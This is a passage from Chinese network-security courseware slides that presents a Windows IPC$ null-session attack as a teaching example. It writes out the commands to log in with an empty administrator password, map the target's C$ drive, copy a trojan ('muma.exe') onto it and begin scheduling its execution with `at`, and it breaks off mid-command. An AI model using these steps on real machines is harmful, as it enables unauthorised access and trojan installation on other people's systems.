天网防火墙-精品·公开课件.pptVIP

第12章 网络安全工具 －－ 基础知识 如果连接到 Internet 时未保护您的电脑，那么黑客就可能通过网络攻击你的电脑或窃取硬盘中的数据，引起网络瘫痪或机密失窃，最终使用户损失惨重。世界各地的“黑客”攻击越来越猖狂，攻击方法不断创新，各种网络协议、操作平台存在的漏洞不断被发现、散布，传统的防御方式已经变得防不胜防…… IPC$默认共享漏洞攻击实例 2000/xp等系统中为了便于管理，默认开启了名为IPC$的隐藏共享。 用net share命令可以查看 若administrator账户密码为空，就极易登录连接到IPC$，并映射为本地磁盘，并拥有对这些磁盘的“完全控制”访问权限。 攻击者可以拷贝任何文件，也可以执行任何命令。 IPC$默认共享漏洞攻击实例 使用一些IPC$漏洞扫描工具，可发现局域网中开启了IPC$共享的主机，并显示ＩＰ信息及账户信息。 用net use \\192.168.0.x\ipc$ “”/user:”administrator”命令，用空口令登录ipc$共享。 用net use z: \\ 192.168.0.x\c$ 将该主机的c盘映射为本地磁盘z 这时即可完全控制c盘，可复制删除文件、执行指令。如：copy muma.exe z: net time \\192.168.0.x 查一下对方系统时间 at \\192.168